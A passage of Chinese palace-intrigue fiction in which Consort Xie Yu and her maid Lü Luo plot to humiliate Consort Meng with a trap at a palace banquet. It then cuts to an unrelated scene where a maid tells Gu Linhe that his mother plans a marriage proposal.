谢妤满意地点点头:“本宫果然没看错你。以后有什么事情,尽管来找本宫。”
绿萝眼中闪过一丝算计:“娘娘,奴婢倒是有个主意。”
“说。”
“不如举办一场宫宴,邀请各宫嫔妃前来。”绿萝提议道,“在宴会上,我们可以进一步抹黑孟贵妃。”
谢妤眼中闪过一丝狠厉:“你有何打算?”
“奴婢听说孟贵妃每日都会经过御花园。”绿萝低声道,“奴婢可以在她的必经之路上设下陷阱,让她在众人面前出丑。”
谢妤眼中闪过一丝兴奋:“好主意。此事就交给你去办。”
谢妤望着绿萝离去的背影,眼中闪过一丝不屑。
区区一个宫女,也敢肖想皇妃之位?不过,她倒是个好用的棋子。
绿萝离开谢妤的寝宫后,立刻着手准备宫宴的事宜。
她暗中在御花园中设下陷阱,打算让阿孟在众人面前出丑。
“娘娘,奴婢已经安排妥当。”绿萝向谢妤汇报,“宫宴定在三日后,届时各宫嫔妃都会前来。”
谢妤满意地点点头:“很好。”
绿萝心中暗喜,只要计划成功,自己就能在皇上面前露脸,说不定还能成为皇妃。
阿孟站在窗前,望着远处的御花园,心中思绪万千。她早已察觉到绿萝的异常,只是不知她究竟有何打算。
“娘娘,
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奴婢打探到一些消息。”云珠匆匆进来,低声道,“绿萝这几日频繁出入御花园,似乎在布置什么。”
阿孟眸光微闪:“继续说。”
“奴婢还听说,谢贵妃要举办一场宫宴,邀请各宫嫔妃前来。”云珠顿了顿,“奴婢总觉得,此事与绿萝有关。”
阿孟冷笑一声:“谢妤虽心狠手辣,却不会用这等拙劣手段。这分明是有人借刀**。”
宫宴当日,各宫嫔妃纷纷前来。阿孟站在御花园中,冷眼旁观着这一切。
“孟贵妃,好久不见。”谢妤缓步走来,脸上带着虚假的笑容。
阿孟淡淡一笑:“谢贵妃,别来无恙。”
谢妤眼中闪过一丝狠厉:“孟贵妃,本宫倒要看看,你如何在众人面前出丑。”
阿孟眸光如刀,直视谢妤:“谢贵妃,你未免太过自信。”
谢妤冷笑一声:“是吗?那我们就走着瞧。”
阿孟转身离去,心中已有计较。她早已察觉到绿萝的陷阱,只是不知她究竟有何打算。
“娘娘,奴婢已经安排妥当。”绿萝向谢妤汇报,“只要孟贵妃经过御花园,就会落入陷阱。”
谢妤满意地点点头:“很好。本宫倒要看看,那孟贵妃如何在众人面前出丑。”
绿萝心中暗喜,只要计划成功,谢妤没有任何绊脚石,一定就能获得皇上独宠。
那时,自己就能在皇上面前露脸,说不定还能成为皇妃。
顾府后花园的假山后,一个身着淡青色衣裙的侍女正焦急地来回踱步。
她不时抬头张望,似乎在等什么人。
“小荷,你找我?”顾凛鹤的声音突然从身后传来,吓得侍女差点惊叫出声。
“少爷!”小荷连忙转身行礼,声音压得极低,“奴婢有要事禀报。”
顾凛鹤眉头微皱:“何事如此慌张?”
小荷左右看看,确定四下无人,才低声道:“少爷,夫人她……她打算背着您去兵部尚书府提亲。”
“什么?”顾凛鹤脸色骤变,声音陡然提高。